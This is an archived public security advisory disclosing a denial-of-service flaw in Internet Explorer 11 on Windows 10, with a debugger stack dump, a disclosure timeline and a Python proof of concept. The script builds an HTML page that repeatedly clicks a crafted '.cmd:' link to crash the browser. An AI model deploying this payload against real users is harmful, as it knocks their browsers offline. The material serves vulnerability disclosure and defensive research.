exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Internet Explorer 11.371.16299.0 Denial Of Service

Microsoft Internet Explorer 11.371.16299.0 Denial Of Service
Posted Apr 20, 2018
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Microsoft Internet Explorer version 11.371.16299.0 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | aa89751f41c7ac981bc2efac8958af3bcef9d8eab8371f01149940d332da7df8

Microsoft Internet Explorer 11.371.16299.0 Denial Of Service

Change Mirror Download
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-(Win-10)-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec


Vendor:
=======
www.microsoft.com


Product:
========
Internet Explorer (Windows 10)
v11.371.16299.0

Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.


Vulnerability Type:
==================
Denial Of Service


CVE Reference:
==============
N/A


Security Issue:
================
A null pointer de-reference (read) results in an InternetExplorer Denial of Service (crash) when MSIE encounters an specially crafted
HTML HREF tag containing an empty reference for certain Windows file types. Upon IE crash it will at times daringly attempt to restart itself,
if that occurs and user is prompted by IE to restore their browser session, then selecting this option so far in my tests has shown to repeat the
crash all over again. This can be leveraged by visiting a hostile webpage or link to crash an end users MSIE browser.

Referencing some of the following extensions .exe:, .com:, .pif:, .bat: and .scr: should produce the same :)

Tested Windows 10

Stack Dump:
==========
(2e8c.27e4): Access violation - code c0000005 (first/second chance not available)
ntdll!NtWaitForMultipleObjects+0x14:
00007ffa`be5f0e14 c3 ret
0:015> r
rax=000000000000005b rbx=0000000000000003 rcx=0000000000000003
rdx=000000cca6efd3a8 rsi=0000000000000000 rdi=0000000000000003
rip=00007ffabe5f0e14 rsp=000000cca6efcfa8 rbp=0000000000000000
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000010 r13=000000cca6efd3a8
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!NtWaitForMultipleObjects+0x14:
00007ffa`be5f0e14 c3 ret

CONTEXT: (.ecxr)
rax=0000000000000000 rbx=000001fd4a2ec9d8 rcx=0000000000000000
rdx=00007ffabb499398 rsi=000001fd4a5b0ce0 rdi=0000000000000000
rip=00007ffabb7fc646 rsp=000000cca6efe4f8 rbp=000000cca6efe600
r8=0000000000000000 r9=0000000000008000 r10=00007ffabb499398
r11=0000000000000000 r12=0000000000000000 r13=00007ffabb48d060
r14=0000000000000002 r15=0000000000000001
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
KERNELBASE!StrCmpICW+0x6:
00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11] ds:00000000`00000000=????
Resetting default scope

FAULTING_IP:
KERNELBASE!StrCmpICW+6
00007ffa`bb7fc646 450fb70b movzx r9d,word ptr [r11]

EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 00007ffabb7fc646 (KERNELBASE!StrCmpICW+0x0000000000000006)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000000000000
Attempt to read from address 0000000000000000

DEFAULT_BUCKET_ID: NULL_POINTER_READ
PROCESS_NAME: iexplore.exe



POC video URL:
==============
https://vimeo.com/265691256/



Exploit/POC:
============
1) Run below python script to create "IE-Win10-Crasha.html"
2) Open IE-Win10-Crasha.html in InternetExplorer v11.371.16299 on Windows 10

payload=('<br>\n'+
'<center>MSIE v11.371.16299 Denial Of Service by hyp3rlinx <br>\n'+
'<a href=".cmd:" id="hate">crashy ware shee</a>\n'+
'<br>\n'+
'Tested successfully on Windows 10\n'+
'</center><script>\n'
'function doit(){\n'+
'document.getElementById("hate").click();\n'+
'alert("DOH!");\n'+
'}\n'+
'setInterval("doit()", 2000)\n'+
'</script>')

file=open("IE-Win10-Crasha.html","w")
file.write(payload)
file.close()

print 'MS InternetExplorer (Win 10) '
print 'Denial Of Service File Created.'
print 'hyp3rlinx'




Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: April 18, 2018
vendor closes thread : April 19, 2018
April 20, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close